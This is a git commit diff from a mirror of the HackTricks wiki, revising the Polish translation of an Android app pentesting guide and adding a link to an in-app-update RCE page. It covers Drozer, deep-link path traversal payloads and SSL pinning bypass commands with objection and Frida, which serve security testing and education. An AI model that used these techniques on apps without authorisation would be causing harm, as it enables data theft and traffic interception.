mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/README.md', 's
This commit is contained in:
parent
826f08effd
commit
e5c0864c02
@ -334,6 +334,7 @@
|
|||||||
- [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
|
- [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
|
||||||
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
|
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
|
||||||
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
|
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
|
||||||
|
- [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
|
||||||
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
|
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
|
||||||
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
|
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
|
||||||
- [Make APK Accept CA Certificate](mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md)
|
- [Make APK Accept CA Certificate](mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md)
|
||||||
|
|||||||
@ -15,17 +15,18 @@ android-applications-basics.md
|
|||||||
To główne narzędzie, którego potrzebujesz, aby połączyć się z urządzeniem z Androidem (emulowanym lub fizycznym).\
|
To główne narzędzie, którego potrzebujesz, aby połączyć się z urządzeniem z Androidem (emulowanym lub fizycznym).\
|
||||||
**ADB** umożliwia kontrolowanie urządzeń zarówno przez **USB**, jak i **sieć** z komputera. To narzędzie pozwala na **kopiowanie** plików w obie strony, **instalację** i **odinstalację** aplikacji, **wykonywanie** poleceń powłoki, **tworzenie kopii zapasowych** danych, **odczytywanie** logów, wśród innych funkcji.
|
**ADB** umożliwia kontrolowanie urządzeń zarówno przez **USB**, jak i **sieć** z komputera. To narzędzie pozwala na **kopiowanie** plików w obie strony, **instalację** i **odinstalację** aplikacji, **wykonywanie** poleceń powłoki, **tworzenie kopii zapasowych** danych, **odczytywanie** logów, wśród innych funkcji.
|
||||||
|
|
||||||
Zobacz poniższą listę [**poleceń ADB**](adb-commands.md), aby dowiedzieć się, jak używać adb.
|
Zobacz poniższą listę [**komend ADB**](adb-commands.md), aby dowiedzieć się, jak używać adb.
|
||||||
|
|
||||||
## Smali
|
## Smali
|
||||||
|
|
||||||
Czasami interesujące jest **modyfikowanie kodu aplikacji**, aby uzyskać dostęp do **ukrytych informacji** (może dobrze obfuskowanych haseł lub flag). Wtedy może być interesujące dekompilowanie apk, modyfikowanie kodu i ponowne kompilowanie go.\
|
Czasami interesujące jest **modyfikowanie kodu aplikacji**, aby uzyskać dostęp do **ukrytych informacji** (może dobrze obfuskowanych haseł lub flag). Wtedy może być interesujące dekompilowanie apk, modyfikowanie kodu i ponowne kompilowanie go.\
|
||||||
[**W tym samouczku** możesz **nauczyć się, jak dekompilować APK, modyfikować kod Smali i ponownie kompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo przydatne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które będą przedstawione. Pamiętaj, **aby zawsze mieć na uwadze tę możliwość**.
|
[**W tym samouczku** możesz **nauczyć się, jak dekompilować APK, modyfikować kod Smali i ponownie kompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo przydatne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które będą przedstawione. Następnie **zawsze miej na uwadze tę możliwość**.
|
||||||
|
|
||||||
## Inne interesujące triki
|
## Inne interesujące triki
|
||||||
|
|
||||||
- [Podrabianie lokalizacji w Sklepie Play](spoofing-your-location-in-play-store.md)
|
- [Podrabianie swojej lokalizacji w Sklepie Play](spoofing-your-location-in-play-store.md)
|
||||||
- [Shizuku Privileged API (dostęp z uprawnieniami bez roota oparty na ADB)](shizuku-privileged-api.md)
|
- [Shizuku Privileged API (dostęp z uprawnieniami bez roota oparty na ADB)](shizuku-privileged-api.md)
|
||||||
|
- [Wykorzystywanie niebezpiecznych mechanizmów aktualizacji w aplikacji](insecure-in-app-update-rce.md)
|
||||||
- **Pobieranie APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
- **Pobieranie APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||||
- Ekstrakcja APK z urządzenia:
|
- Ekstrakcja APK z urządzenia:
|
||||||
```bash
|
```bash
|
||||||
@ -65,20 +66,20 @@ Zwróć szczególną uwagę na **adresy URL Firebase** i sprawdź, czy są źle
|
|||||||
|
|
||||||
**Luki** zidentyfikowane w **Manifest.xml** obejmują:
|
**Luki** zidentyfikowane w **Manifest.xml** obejmują:
|
||||||
|
|
||||||
- **Aplikacje debugowalne**: Aplikacje ustawione jako debugowalne (`debuggable="true"`) w pliku _Manifest.xml_ stanowią ryzyko, ponieważ pozwalają na połączenia, które mogą prowadzić do wykorzystania. Aby uzyskać dalsze informacje na temat tego, jak wykorzystać aplikacje debugowalne, zapoznaj się z samouczkiem na temat znajdowania i wykorzystywania aplikacji debugowalnych na urządzeniu.
|
- **Aplikacje debugowalne**: Aplikacje ustawione jako debugowalne (`debuggable="true"`) w pliku _Manifest.xml_ stanowią ryzyko, ponieważ pozwalają na połączenia, które mogą prowadzić do wykorzystania. Aby uzyskać dalsze zrozumienie, jak wykorzystać aplikacje debugowalne, zapoznaj się z samouczkiem na temat znajdowania i wykorzystywania aplikacji debugowalnych na urządzeniu.
|
||||||
- **Ustawienia kopii zapasowej**: Atrybut `android:allowBackup="false"` powinien być wyraźnie ustawiony dla aplikacji zajmujących się wrażliwymi informacjami, aby zapobiec nieautoryzowanym kopiom zapasowym danych za pomocą adb, szczególnie gdy debugowanie USB jest włączone.
|
- **Ustawienia kopii zapasowej**: Atrybut `android:allowBackup="false"` powinien być wyraźnie ustawiony dla aplikacji zajmujących się wrażliwymi informacjami, aby zapobiec nieautoryzowanym kopiom zapasowym danych za pomocą adb, szczególnie gdy debugowanie USB jest włączone.
|
||||||
- **Bezpieczeństwo sieci**: Niestandardowe konfiguracje bezpieczeństwa sieci (`android:networkSecurityConfig="@xml/network_security_config"`) w _res/xml/_ mogą określać szczegóły bezpieczeństwa, takie jak przypinanie certyfikatów i ustawienia ruchu HTTP. Przykładem jest zezwolenie na ruch HTTP dla określonych domen.
|
- **Bezpieczeństwo sieci**: Niestandardowe konfiguracje bezpieczeństwa sieci (`android:networkSecurityConfig="@xml/network_security_config"`) w _res/xml/_ mogą określać szczegóły bezpieczeństwa, takie jak przypinanie certyfikatów i ustawienia ruchu HTTP. Przykładem jest zezwolenie na ruch HTTP dla określonych domen.
|
||||||
- **Eksportowane aktywności i usługi**: Identyfikacja eksportowanych aktywności i usług w manifeście może uwydatnić komponenty, które mogą być nadużywane. Dalsza analiza podczas testów dynamicznych może ujawnić, jak wykorzystać te komponenty.
|
- **Eksportowane aktywności i usługi**: Identyfikacja eksportowanych aktywności i usług w manifeście może uwydatnić komponenty, które mogą być nadużywane. Dalsza analiza podczas testów dynamicznych może ujawnić, jak wykorzystać te komponenty.
|
||||||
- **Dostawcy treści i FileProviders**: Odkryte dostawcy treści mogą umożliwić nieautoryzowany dostęp lub modyfikację danych. Konfiguracja FileProviders powinna być również dokładnie sprawdzona.
|
- **Dostawcy treści i FileProviders**: Ujawnione dostawcy treści mogą umożliwić nieautoryzowany dostęp lub modyfikację danych. Konfiguracja FileProviders powinna być również dokładnie sprawdzona.
|
||||||
- **Odbiorniki rozgłoszeniowe i schematy URL**: Te komponenty mogą być wykorzystywane do eksploatacji, z szczególnym uwzględnieniem sposobu zarządzania schematami URL w kontekście luk wejściowych.
|
- **Odbiorniki rozgłoszeniowe i schematy URL**: Te komponenty mogą być wykorzystywane do eksploatacji, z szczególną uwagą na to, jak zarządzane są schematy URL w kontekście luk wejściowych.
|
||||||
- **Wersje SDK**: Atrybuty `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` wskazują obsługiwane wersje Androida, podkreślając znaczenie nieobsługiwania przestarzałych, podatnych wersji Androida z powodów bezpieczeństwa.
|
- **Wersje SDK**: Atrybuty `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` wskazują obsługiwane wersje Androida, podkreślając znaczenie nieobsługiwania przestarzałych, podatnych wersji Androida z powodów bezpieczeństwa.
|
||||||
|
|
||||||
Z pliku **strings.xml** można odkryć wrażliwe informacje, takie jak klucze API, niestandardowe schematy i inne notatki dewelopera, co podkreśla potrzebę starannego przeglądu tych zasobów.
|
Z pliku **strings.xml** można odkryć wrażliwe informacje, takie jak klucze API, niestandardowe schematy i inne notatki dewelopera, co podkreśla potrzebę starannego przeglądu tych zasobów.
|
||||||
|
|
||||||
### Tapjacking
|
### Tapjacking
|
||||||
|
|
||||||
**Tapjacking** to atak, w którym **złośliwa** **aplikacja** jest uruchamiana i **pozycjonuje się na wierzchu aplikacji ofiary**. Gdy widocznie zasłania aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, aby oszukać użytkownika, aby wchodził z nią w interakcje, podczas gdy przekazuje interakcję do aplikacji ofiary.\
|
**Tapjacking** to atak, w którym **złośliwa** **aplikacja** jest uruchamiana i **pozycjonuje się na wierzchu aplikacji ofiary**. Gdy widocznie zasłania aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, aby oszukać użytkownika do interakcji z nią, podczas gdy przekazuje interakcję do aplikacji ofiary.\
|
||||||
W efekcie **oślepia użytkownika, nie pozwalając mu wiedzieć, że faktycznie wykonuje akcje w aplikacji ofiary**.
|
W efekcie, **oślepia użytkownika, nie pozwalając mu wiedzieć, że faktycznie wykonuje akcje w aplikacji ofiary**.
|
||||||
|
|
||||||
Więcej informacji znajdziesz w:
|
Więcej informacji znajdziesz w:
|
||||||
|
|
||||||
@ -88,7 +89,7 @@ tapjacking.md
|
|||||||
|
|
||||||
### Przechwytywanie zadań
|
### Przechwytywanie zadań
|
||||||
|
|
||||||
**Aktywność** z ustawionym **`launchMode`** na **`singleTask` bez zdefiniowanego `taskAffinity`** jest podatna na przechwytywanie zadań. Oznacza to, że **aplikacja** może być zainstalowana i jeśli zostanie uruchomiona przed prawdziwą aplikacją, może **przechwycić zadanie prawdziwej aplikacji** (więc użytkownik będzie wchodził w interakcje z **złośliwą aplikacją, myśląc, że używa prawdziwej**).
|
**Aktywność** z ustawionym **`launchMode`** na **`singleTask` bez zdefiniowanego `taskAffinity`** jest podatna na przechwytywanie zadań. Oznacza to, że **aplikacja** może być zainstalowana i jeśli zostanie uruchomiona przed prawdziwą aplikacją, może **przechwycić zadanie prawdziwej aplikacji** (więc użytkownik będzie interagował z **złośliwą aplikacją, myśląc, że używa prawdziwej**).
|
||||||
|
|
||||||
Więcej informacji w:
|
Więcej informacji w:
|
||||||
|
|
||||||
@ -105,7 +106,7 @@ W Androidzie pliki **przechowywane** w **przechowywaniu wewnętrznym** są **zap
|
|||||||
1. **Analiza statyczna:**
|
1. **Analiza statyczna:**
|
||||||
- **Upewnij się**, że użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **starannie analizowane**. Te tryby **mogą potencjalnie ujawniać** pliki **niezamierzonym lub nieautoryzowanym dostępem**.
|
- **Upewnij się**, że użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **starannie analizowane**. Te tryby **mogą potencjalnie ujawniać** pliki **niezamierzonym lub nieautoryzowanym dostępem**.
|
||||||
2. **Analiza dynamiczna:**
|
2. **Analiza dynamiczna:**
|
||||||
- **Zweryfikuj** **uprawnienia** ustawione na plikach utworzonych przez aplikację. W szczególności **sprawdź**, czy jakiekolwiek pliki są **ustawione na bycie czytelnymi lub zapisywalnymi na całym świecie**. Może to stanowić istotne ryzyko bezpieczeństwa, ponieważ pozwoli **jakiejkolwiek aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia lub zamiaru, na **odczyt lub modyfikację** tych plików.
|
- **Zweryfikuj** **uprawnienia** ustawione na plikach utworzonych przez aplikację. Szczególnie **sprawdź**, czy jakiekolwiek pliki są **ustawione na bycie czytelnymi lub zapisywalnymi na całym świecie**. Może to stanowić istotne ryzyko bezpieczeństwa, ponieważ pozwoli **jakiejkolwiek aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia czy zamiaru, na **odczyt lub modyfikację** tych plików.
|
||||||
|
|
||||||
**Przechowywanie zewnętrzne**
|
**Przechowywanie zewnętrzne**
|
||||||
|
|
||||||
@ -124,7 +125,7 @@ Podczas pracy z plikami na **przechowywaniu zewnętrznym**, takim jak karty SD,
|
|||||||
Zewnętrzne przechowywanie można **uzyskać** w `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
Zewnętrzne przechowywanie można **uzyskać** w `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Zaczynając od Androida 4.4 (**API 17**), karta SD ma strukturę katalogów, która **ogranicza dostęp aplikacji do katalogu, który jest specjalnie przeznaczony dla tej aplikacji**. To zapobiega złośliwej aplikacji w uzyskaniu dostępu do plików innej aplikacji.
|
> Zaczynając od Androida 4.4 (**API 17**), karta SD ma strukturę katalogów, która **ogranicza dostęp aplikacji do katalogu, który jest specjalnie przeznaczony dla tej aplikacji**. To zapobiega złośliwej aplikacji uzyskiwaniu dostępu do plików innej aplikacji.
|
||||||
|
|
||||||
**Wrażliwe dane przechowywane w postaci niezaszyfrowanej**
|
**Wrażliwe dane przechowywane w postaci niezaszyfrowanej**
|
||||||
|
|
||||||
@ -154,7 +155,7 @@ Deweloperzy nie powinni używać **przestarzałych algorytmów** do przeprowadza
|
|||||||
|
|
||||||
### Inne kontrole
|
### Inne kontrole
|
||||||
|
|
||||||
- Zaleca się **obfuskację APK**, aby utrudnić pracę inżynierom odwrotnym.
|
- Zaleca się **obfuskację APK**, aby utrudnić atakującym pracę inżynierii odwrotnej.
|
||||||
- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna przeprowadzać **własne kontrole, aby sprawdzić, czy urządzenie jest zrootowane** i działać w konsekwencji.
|
- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna przeprowadzać **własne kontrole, aby sprawdzić, czy urządzenie jest zrootowane** i działać w konsekwencji.
|
||||||
- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna sprawdzić, czy używany jest **emulator**.
|
- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna sprawdzić, czy używany jest **emulator**.
|
||||||
- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna **sprawdzić swoją integralność przed wykonaniem**, aby sprawdzić, czy została zmodyfikowana.
|
- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna **sprawdzić swoją integralność przed wykonaniem**, aby sprawdzić, czy została zmodyfikowana.
|
||||||
@ -182,7 +183,7 @@ Zgodnie z tym [**postem na blogu**](https://clearbluejar.github.io/posts/desuper
|
|||||||
|
|
||||||
### Zautomatyzowana analiza statyczna kodu
|
### Zautomatyzowana analiza statyczna kodu
|
||||||
|
|
||||||
Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **luki** poprzez **skanowanie** **kodu** aplikacji. To narzędzie zawiera szereg **znanych źródeł** (które wskazują narzędziu **miejsca**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sinki** (które wskazują narzędziu **niebezpieczne** **miejsca**, gdzie złośliwe dane wejściowe użytkownika mogą spowodować szkody) oraz **reguły**. Te reguły wskazują na **kombinację** **źródeł-sinków**, która wskazuje na lukę.
|
Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **luki** poprzez **skanowanie** **kodu** aplikacji. To narzędzie zawiera szereg **znanych źródeł** (które wskazują narzędziu **miejsca**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sinki** (które wskazują narzędziu **niebezpieczne** **miejsca**, gdzie złośliwe dane wejściowe mogą spowodować szkody) oraz **reguły**. Te reguły wskazują na **kombinację** **źródeł-sinków**, które wskazują na lukę.
|
||||||
|
|
||||||
Dzięki tej wiedzy, **mariana-trench przejrzy kod i znajdzie możliwe luki w nim**.
|
Dzięki tej wiedzy, **mariana-trench przejrzy kod i znajdzie możliwe luki w nim**.
|
||||||
|
|
||||||
@ -201,7 +202,7 @@ bypass-biometric-authentication-android.md
|
|||||||
- **Wykonanie kodu**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
- **Wykonanie kodu**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||||
- **Wysyłanie SMS-ów**: `sendTextMessage, sendMultipartTestMessage`
|
- **Wysyłanie SMS-ów**: `sendTextMessage, sendMultipartTestMessage`
|
||||||
- **Funkcje natywne** zadeklarowane jako `native`: `public native, System.loadLibrary, System.load`
|
- **Funkcje natywne** zadeklarowane jako `native`: `public native, System.loadLibrary, System.load`
|
||||||
- [Przeczytaj to, aby dowiedzieć się **jak odwrócić funkcje natywne**](reversing-native-libraries.md)
|
- [Przeczytaj to, aby dowiedzieć się, **jak odwrócić funkcje natywne**](reversing-native-libraries.md)
|
||||||
|
|
||||||
### **Inne sztuczki**
|
### **Inne sztuczki**
|
||||||
|
|
||||||
@ -219,7 +220,7 @@ content-protocol.md
|
|||||||
|
|
||||||
### Analiza dynamiczna online
|
### Analiza dynamiczna online
|
||||||
|
|
||||||
Możesz założyć **darmowe konto** na: [https://appetize.io/](https://appetize.io). Ta platforma pozwala na **przesyłanie** i **wykonywanie** APK, więc jest przydatna do zobaczenia, jak apk się zachowuje.
|
Możesz założyć **darmowe konto** na: [https://appetize.io/](https://appetize.io). Ta platforma pozwala na **przesyłanie** i **wykonywanie** APK, więc jest przydatna do zobaczenia, jak zachowuje się apk.
|
||||||
|
|
||||||
Możesz nawet **zobaczyć logi swojej aplikacji** w sieci i połączyć się przez **adb**.
|
Możesz nawet **zobaczyć logi swojej aplikacji** w sieci i połączyć się przez **adb**.
|
||||||
|
|
||||||
@ -231,7 +232,7 @@ Dzięki połączeniu ADB możesz używać **Drozer** i **Frida** wewnątrz emula
|
|||||||
|
|
||||||
#### Używając emulatora
|
#### Używając emulatora
|
||||||
|
|
||||||
- [**Android Studio**](https://developer.android.com/studio) (Możesz tworzyć urządzenia **x86** i **arm**, a według [**tego**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnowsze wersje x86** **obsługują biblioteki ARM** bez potrzeby używania wolnego emulatora arm).
|
- [**Android Studio**](https://developer.android.com/studio) (Możesz tworzyć urządzenia **x86** i **arm**, a według [**tego**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnowsze wersje x86** obsługują biblioteki ARM bez potrzeby używania wolnego emulatora arm).
|
||||||
- Dowiedz się, jak to skonfigurować na tej stronie:
|
- Dowiedz się, jak to skonfigurować na tej stronie:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -252,7 +253,7 @@ Zauważ również, że w **konfiguracji Android VM w Genymotion** możesz wybra
|
|||||||
|
|
||||||
#### Użyj fizycznego urządzenia
|
#### Użyj fizycznego urządzenia
|
||||||
|
|
||||||
Musisz aktywować opcje **debugowania**, a byłoby dobrze, gdybyś mógł je **zrootować**:
|
Musisz włączyć opcje **debugowania**, a byłoby dobrze, gdybyś mógł je **zrootować**:
|
||||||
|
|
||||||
1. **Ustawienia**.
|
1. **Ustawienia**.
|
||||||
2. (Od Androida 8.0) Wybierz **System**.
|
2. (Od Androida 8.0) Wybierz **System**.
|
||||||
@ -290,7 +291,7 @@ Aplikacje często integrują usługi takie jak Google Adsense, co może nieumyś
|
|||||||
### Bazy danych SQLite
|
### Bazy danych SQLite
|
||||||
|
|
||||||
Większość aplikacji będzie używać **wewnętrznych baz danych SQLite** do zapisywania informacji. Podczas testów penetracyjnych zwróć uwagę na **bazy danych** utworzone, nazwy **tabel** i **kolumn** oraz wszystkie **dane** zapisane, ponieważ możesz znaleźć **wrażliwe informacje** (co byłoby luką).\
|
Większość aplikacji będzie używać **wewnętrznych baz danych SQLite** do zapisywania informacji. Podczas testów penetracyjnych zwróć uwagę na **bazy danych** utworzone, nazwy **tabel** i **kolumn** oraz wszystkie **dane** zapisane, ponieważ możesz znaleźć **wrażliwe informacje** (co byłoby luką).\
|
||||||
Bazy danych powinny znajdować się w `/data/data/the.package.name/databases`, jak `/data/data/com.mwr.example.sieve/databases`.
|
Bazy danych powinny znajdować się w `/data/data/the.package.name/databases` jak `/data/data/com.mwr.example.sieve/databases`.
|
||||||
|
|
||||||
Jeśli baza danych zapisuje poufne informacje i jest **szyfrowana**, ale możesz **znaleźć** **hasło** wewnątrz aplikacji, to nadal jest to **luka**.
|
Jeśli baza danych zapisuje poufne informacje i jest **szyfrowana**, ale możesz **znaleźć** **hasło** wewnątrz aplikacji, to nadal jest to **luka**.
|
||||||
|
|
||||||
@ -299,7 +300,7 @@ Wylicz tabele używając `.tables` i wylicz kolumny tabel używając `.schema <t
|
|||||||
### Drozer (Eksploatacja aktywności, dostawców treści i usług)
|
### Drozer (Eksploatacja aktywności, dostawców treści i usług)
|
||||||
|
|
||||||
Z [Dokumentacji Drozer](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** pozwala na **przyjęcie roli aplikacji Android** i interakcję z innymi aplikacjami. Może robić **wszystko, co może zrobić zainstalowana aplikacja**, takie jak korzystanie z mechanizmu komunikacji międzyprocesowej Androida (IPC) i interakcja z systemem operacyjnym.\
|
Z [Dokumentacji Drozer](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** pozwala na **przyjęcie roli aplikacji Android** i interakcję z innymi aplikacjami. Może robić **wszystko, co może zrobić zainstalowana aplikacja**, takie jak korzystanie z mechanizmu komunikacji międzyprocesowej Androida (IPC) i interakcja z systemem operacyjnym.\
|
||||||
Drozer jest przydatnym narzędziem do **eksploatacji eksportowanych aktywności, eksportowanych usług i dostawców treści**, jak dowiesz się w kolejnych sekcjach.
|
Drozer jest przydatnym narzędziem do **eksploatacji eksportowanych aktywności, eksportowanych usług i dostawców treści**, jak dowiesz się w następnych sekcjach.
|
||||||
|
|
||||||
### Eksploatacja eksportowanych aktywności
|
### Eksploatacja eksportowanych aktywności
|
||||||
|
|
||||||
@ -335,7 +336,7 @@ Jeśli tapjacking nie jest zapobiegany, możesz nadużyć eksportowanej aktywno
|
|||||||
### Wykorzystywanie dostawców treści - Uzyskiwanie dostępu i manipulowanie wrażliwymi informacjami
|
### Wykorzystywanie dostawców treści - Uzyskiwanie dostępu i manipulowanie wrażliwymi informacjami
|
||||||
|
|
||||||
[**Przeczytaj to, jeśli chcesz odświeżyć, czym jest dostawca treści.**](android-applications-basics.md#content-provider)\
|
[**Przeczytaj to, jeśli chcesz odświeżyć, czym jest dostawca treści.**](android-applications-basics.md#content-provider)\
|
||||||
Dostawcy treści są zasadniczo używani do **dzielenia się danymi**. Jeśli aplikacja ma dostępne dostawców treści, możesz być w stanie **wyodrębnić wrażliwe** dane z nich. Interesujące jest również testowanie możliwych **SQL injection** i **Path Traversals**, ponieważ mogą być podatne.
|
Dostawcy treści są zasadniczo używani do **dzielenia się danymi**. Jeśli aplikacja ma dostępne dostawców treści, możesz być w stanie **wyodrębnić wrażliwe** dane z nich. Interesujące jest również testowanie możliwych **iniekcji SQL** i **przechodzenia po ścieżkach**, ponieważ mogą być podatne.
|
||||||
|
|
||||||
[**Dowiedz się, jak wykorzystywać dostawców treści za pomocą Drozer.**](drozer-tutorial/index.html#content-providers)
|
[**Dowiedz się, jak wykorzystywać dostawców treści za pomocą Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||||
|
|
||||||
@ -362,7 +363,7 @@ Możesz **otworzyć** zadeklarowany **schemat** za pomocą **adb** lub **przegl
|
|||||||
```bash
|
```bash
|
||||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||||
```
|
```
|
||||||
_Uwaga, że możesz **pominąć nazwę pakietu**, a urządzenie mobilne automatycznie wywoła aplikację, która powinna otworzyć ten link._
|
_Uwaga, że możesz **pominąć nazwę pakietu**, a urządzenie mobilne automatycznie otworzy aplikację, która powinna otworzyć ten link._
|
||||||
```html
|
```html
|
||||||
<!-- Browser regular link -->
|
<!-- Browser regular link -->
|
||||||
<a href="scheme://hostname/path?param=value">Click me</a>
|
<a href="scheme://hostname/path?param=value">Click me</a>
|
||||||
@ -382,7 +383,7 @@ Za każdym razem, gdy znajdziesz deep link, sprawdź, czy **nie odbiera wrażliw
|
|||||||
**Parametry w ścieżce**
|
**Parametry w ścieżce**
|
||||||
|
|
||||||
Musisz również sprawdzić, czy jakikolwiek deep link używa parametru wewnątrz ścieżki URL, takiego jak: `https://api.example.com/v1/users/{username}`, w takim przypadku możesz wymusić przejście przez ścieżkę, uzyskując dostęp do czegoś takiego jak: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
Musisz również sprawdzić, czy jakikolwiek deep link używa parametru wewnątrz ścieżki URL, takiego jak: `https://api.example.com/v1/users/{username}`, w takim przypadku możesz wymusić przejście przez ścieżkę, uzyskując dostęp do czegoś takiego jak: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||||
Zauważ, że jeśli znajdziesz poprawne punkty końcowe w aplikacji, możesz być w stanie spowodować **Open Redirect** (jeśli część ścieżki jest używana jako nazwa domeny), **przejęcie konta** (jeśli możesz modyfikować dane użytkowników bez tokena CSRF, a podatny punkt końcowy używał poprawnej metody) i inne podatności. Więcej [informacji na ten temat tutaj](http://dphoeniixx.com/2020/12/13-2/).
|
Zauważ, że jeśli znajdziesz poprawne punkty końcowe w aplikacji, możesz być w stanie spowodować **Open Redirect** (jeśli część ścieżki jest używana jako nazwa domeny), **przejęcie konta** (jeśli możesz zmodyfikować dane użytkowników bez tokena CSRF, a podatny punkt końcowy używał poprawnej metody) i inne podatności. Więcej [informacji na ten temat tutaj](http://dphoeniixx.com/2020/12/13-2/).
|
||||||
|
|
||||||
**Więcej przykładów**
|
**Więcej przykładów**
|
||||||
|
|
||||||
@ -412,17 +413,17 @@ Jeśli używasz **Flutter**, musisz postępować zgodnie z instrukcjami na [**te
|
|||||||
|
|
||||||
#### Obejście SSL Pinning
|
#### Obejście SSL Pinning
|
||||||
|
|
||||||
Gdy SSL Pinning jest wdrożone, konieczne staje się jego obejście, aby zainspirować ruch HTTPS. Istnieje wiele metod w tym celu:
|
Gdy SSL Pinning jest wdrożone, konieczne staje się jego obejście, aby zainspirować ruch HTTPS. Istnieje kilka metod w tym celu:
|
||||||
|
|
||||||
- Automatycznie **zmodyfikuj** **apk**, aby **obejść** SSLPinning za pomocą [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Największą zaletą tej opcji jest to, że nie będziesz potrzebować roota, aby obejść SSL Pinning, ale będziesz musiał usunąć aplikację i zainstalować nową, co nie zawsze działa.
|
- Automatycznie **zmodyfikuj** **apk**, aby **obejść** SSLPinning za pomocą [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Największą zaletą tej opcji jest to, że nie będziesz potrzebować roota, aby obejść SSL Pinning, ale będziesz musiał usunąć aplikację i zainstalować nową, co nie zawsze działa.
|
||||||
- Możesz użyć **Frida** (omówione poniżej), aby obejść tę ochronę. Oto przewodnik, jak używać Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
- Możesz użyć **Frida** (omówione poniżej), aby obejść tę ochronę. Oto przewodnik, jak używać Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||||
- Możesz także spróbować **automatycznie obejść SSL Pinning** za pomocą [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
- Możesz także spróbować **automatycznie obejść SSL Pinning** za pomocą [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||||
- Możesz także spróbować **automatycznie obejść SSL Pinning** za pomocą **analizy dynamicznej MobSF** (wyjaśnionej poniżej)
|
